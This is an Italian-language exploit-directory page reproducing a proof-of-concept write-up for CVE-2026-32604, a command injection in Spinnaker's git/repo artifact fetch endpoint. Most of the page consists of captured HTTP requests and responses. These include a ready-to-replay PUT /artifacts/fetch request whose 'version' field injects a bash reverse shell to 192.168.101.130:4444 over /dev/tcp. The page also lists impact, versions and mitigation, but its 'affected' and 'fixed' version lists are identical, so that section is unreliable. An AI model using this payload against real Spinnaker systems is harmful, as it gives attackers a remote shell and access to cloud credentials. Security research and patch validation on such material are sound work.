Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-32604 — Proof-of-concept di exploit per CVE-2026-32604, un RCE da command injection nella gestione degli artefatti GitRepo di Spinnaker tramite il campo version. | Kitploit
Strumenti/GitHubGitHub/k3ystr0k3r/cve-2026-32604
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza CloudStrumento di Accesso Remoto
GitHubk3ystr0k3r/cve-2026-32604

CVE-2026-32604

Proof-of-concept di exploit per CVE-2026-32604, un RCE da command injection nella gestione degli artefatti GitRepo di Spinnaker tramite il campo version.

Vedi Repository
19h 43m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-32604 - RCE tramite artefatto GitRepo di Spinnaker

CVE-2026-32604 - Esecuzione di codice in remoto in Spinnaker tramite il tipo di artefatto git/repo.

Questa è una vulnerabilità di command injection / esecuzione di codice in remoto nella gestione degli artefatti GitRepo di Spinnaker.

La funzionalità vulnerabile consente a valori controllati dall'utente, forniti tramite il campo version di un artefatto git/repo, di raggiungere l'esecuzione di comandi senza essere adeguatamente sanificati.

L'endpoint vulnerabile è:

root@kitploit:~
PUT /artifacts/fetch

La parte importante è che l'applicazione espone il provider di artefatti git/repo tramite:

root@kitploit:~
GET /artifacts/credentials

che restituisce:

root@kitploit:~
[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

Questo conferma che il tipo di artefatto git/repo è disponibile.


Vulnerabilità

La richiesta vulnerabile viene inviata a:

root@kitploit:~
PUT /artifacts/fetch

con un corpo JSON contenente un artefatto di repository Git.

Il parametro version può essere manipolato con sintassi shell.

Per i test, ho utilizzato:

root@kitploit:~
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #

La richiesta completa catturata durante il PoC era:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

Il parametro importante qui è:

root@kitploit:~
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"

L'espressione shell iniettata viene aggiunta dopo il valore previsto di branch/versione Git.

Il # viene utilizzato per commentare il resto del comando dopo l'espressione iniettata.


Risposta

La richiesta è stata accettata dall'applicazione vulnerabile.

La risposta HTTP catturata è stata:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

Il punto rilevante è che il tipo di artefatto vulnerabile è presente e il valore version malevolo viene accettato dall'endpoint di recupero degli artefatti.


Verifica iniziale del servizio

Prima di testare l'endpoint vulnerabile, ho verificato che il target rispondesse:

root@kitploit:~
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

Risposta:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

{"status":"UP"}

Flusso di sfruttamento

Il PoC è essenzialmente:

root@kitploit:~
Target
  │
  ├── GET /health
  │      └── {"status":"UP"}
  │
  ├── GET /artifacts/credentials
  │      └── tipo di artefatto git/repo esposto
  │
  └── PUT /artifacts/fetch
         │
         ├── type = git/repo
         ├── reference = repository/riferimento Git controllato dall'attaccante
         └── version = comando shell iniettato
                    │
                    └── esecuzione del comando

Il problema non è semplicemente che l'endpoint accetta un nome di branch Git. Il problema è che i dati dell'artefatto Git controllati dall'attaccante raggiungono un contesto di esecuzione di comandi senza essere limitati in modo sicuro alla sintassi prevista di versione/branch Git.


Richiesta PoC grezza

Per una rapida riproduzione, la richiesta principale è:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

Il payload sopra è destinato esclusivamente a un ambiente di laboratorio controllato.


Perché funziona

Il percorso vulnerabile coinvolge l'implementazione dell'artefatto GitRepo che elabora informazioni sull'artefatto controllate dall'attaccante.

Il valore previsto per version è qualcosa di simile a:

root@kitploit:~
main

ma l'applicazione non vincola sufficientemente il valore a quel formato previsto.

Invece, è possibile introdurre sintassi shell:

root@kitploit:~
main; <command> #

che cambia il significato del comando risultante.

Questo trasforma un'operazione di recupero di artefatti in esecuzione arbitraria di comandi nel contesto del servizio Spinnaker Clouddriver vulnerabile.


Impatto

Lo sfruttamento riuscito può comportare l'esecuzione arbitraria di comandi sul pod Clouddriver interessato.

A seconda dei permessi e dell'ambiente del pod compromesso, ciò può potenzialmente consentire a un attaccante di:

  • Eseguire comandi arbitrari.
  • Leggere le credenziali disponibili per il processo Clouddriver.
  • Accedere ai file disponibili all'interno del container.
  • Modificare o rimuovere file accessibili.
  • Accedere ad altri servizi raggiungibili dal pod.
  • Utilizzare potenzialmente il pod compromesso come trampolino di lancio verso l'ambiente circostante.

L'avviso ufficiale di Spinnaker rileva specificamente che lo sfruttamento può esporre credenziali, rimuovere file o iniettare risorse.


Versioni interessate

Secondo l'avviso di sicurezza di Spinnaker, le linee di rilascio interessate includono versioni precedenti a:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

Le versioni corrette sono:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

La vulnerabilità è tracciata come CVE-2026-32604 ed è classificata come CWE-20: Improper Input Validation.


Mitigazione

Aggiornare Spinnaker a una release corretta.

L'avviso upstream elenca anche la disabilitazione del tipo di artefatto git/repo come workaround per le installazioni che non possono aggiornare immediatamente.

Dove possibile, si dovrebbero utilizzare le release correnti di Spinnaker invece di rimanere su un ramo di rilascio interessato.


Riferimenti

  • Spinnaker Security Advisory — GHSA-x3j7-7pgj-h87r
  • CVE-2026-32604 — CISA Vulnerability Enrichment
  • Spinnaker Releases

Disclaimer

Questo PoC è fornito per ricerca sulla sicurezza, validazione di vulnerabilità e test autorizzati.

Eseguirlo solo contro sistemi di proprietà o per i quali si dispone di esplicita autorizzazione al test.

Ho testato la vulnerabilità in un ambiente di laboratorio isolato.

Scarica lo strumento